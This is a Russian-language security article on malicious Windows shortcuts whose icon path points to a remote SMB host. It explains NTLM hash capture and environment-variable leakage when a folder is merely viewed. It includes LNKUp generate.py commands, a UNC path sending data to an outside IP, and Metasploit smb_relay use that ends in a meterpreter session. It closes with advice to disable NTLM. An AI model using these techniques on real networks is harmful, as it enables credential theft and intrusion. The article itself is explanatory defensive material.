Ярлыки в Windows: куда они ведут и могут ли быть опасны?

На модерации Отложенный

В данной статье мы поговорим о методах компрометации систем с использованием стандартного функционала ОС Windows, доступного при создании ярлыков и как с этим бороться.

Как это работает и стоит ли мне бояться


Пожалуй, большинство пользователей ОС Windows знают, что запуск подозрительных программ и клики на неизвестные ярлыки — небезопасно, и даже самые «плохие» пользователи стараются так не делать. Так что, мы не будем об этом говорить.

А также, большинство пользователей хотя бы раз пробовали сменить значок ярлыка.

Напомню, что делается это через свойства, примерно так:



А какие значения можно указывать в этом поле?



Обязательно ли путь должен быть локальным? На самом деле — нет. Т.е. вы можете указать здесь что-нибудь такое



И при переходе пользователя в директорию, содержащую такой ярлык произойдет следующее.
Скриншот из Wireshark на машине 192.168.1.3.



Сервер 192.168.1.3 не смог принять TCP соединение, поскольку не прослушивает TCP порт 445, т.е. SMB. На первый взгляд может показаться, что беспокоиться не о чем, но это не так.

Сервер 192.168.1.3 может закончить TCP хэндшейк и вести себя как SMB сервер. Например, при помощи модуля фреймворка Metasploit.



Попробуем перейти в директорию с ярлыком еще раз и проверим после этого консоль Metasploit



Мы получили NTLM хэш пользователя, который «увидел» наш ярлык.

Эта уязвимость (feature) известна уже более 20 лет, со времен WinNT/Win95 и существует по сей день. Microsoft предлагает бороться с данной уязвимостью при помощи NTLM Blocking. Но настроить это должен пользователь сам



И ознакомиться со всеми «но»



Некоторые провайдеры могут блокировать исходящий трафик в Интернет на порт 445, что, также, может защитить пользователей, на чьих машинах не активированы соответствующие политики, но никак не защитит от атаки в локальной сети.
 

LNKUp — автоматизация эксплуатации


Совсем недавно был выпущен инструмент LNKUp, позволяющий автоматизировать процесс создания lnk-файлов, подобных тому, который мы рассмотрели выше.

Скачать его можно на официальном GitHub.

Утилита написана на Python, запускается под ОС Windows и требует Python-пакеты pylnk и pypiwin32.



Чтобы создать ярлык для захвата NTLM-хэша используется следующая команда
 

python generate.py --host HOST --type ntlm --output out.lnk


где HOST — машина, на которой запущен SMB сервер Metasploit.

Второй вариант использования LNKUp — это получение переменных окружения пользователя. Это работает, потому что в свойствах ярлыка можно использовать переменные окружения, например так:



Для их чтения нужно запустить сниффер на машине 192.168.1.3

Команда для создания ярлыка выглядит так:
 

python generate.py --host 192.168.1.3 --output out.lnk --type environment --vars PROCESSOR_ARCHITECTURE


И в дампе трафика мы увидим



Т.е. путь к иконке в свойствах ярлыка выглядел так 
 

\\192.168.1.3\SHARE_%PROCESSOR_ARCHITECTURE%


Таким образом, пользователю не нужно специально что-то запускать, ему просто нужно перейти в каталог, в котором находится вредоносный ярлык, например в сетевую директорию или «увидеть» его при подключении внешних носителей.
 

SMB-Relay при просмотре каталога


При помощи фреймворка Metasploit можно поднять и другого рода SMB сервер, используя модуль exploit/windows/smb/smb_relay и провести атаку вида SMB Relay.



Теперь предположим, что вредоносный ярлык был помещен в сетевой каталог, которым обычно пользуются администраторы для установки софта. При очередном открытии такого каталога произойдет перенаправление NTLM аутентификации администратора на выбранную нами машину в сети.



И будет получена сессия метерпретера





Исходя из всего вышеперечисленного, пожалуй, можно сделать вывод, что от NTLM аутентификации стоит отказаться везде, где это возможно, а также уделять повышенное внимание сетевой безопасности и доступу к общим ресурсам, на которых злоумышленник может разместить вредоносные объекты.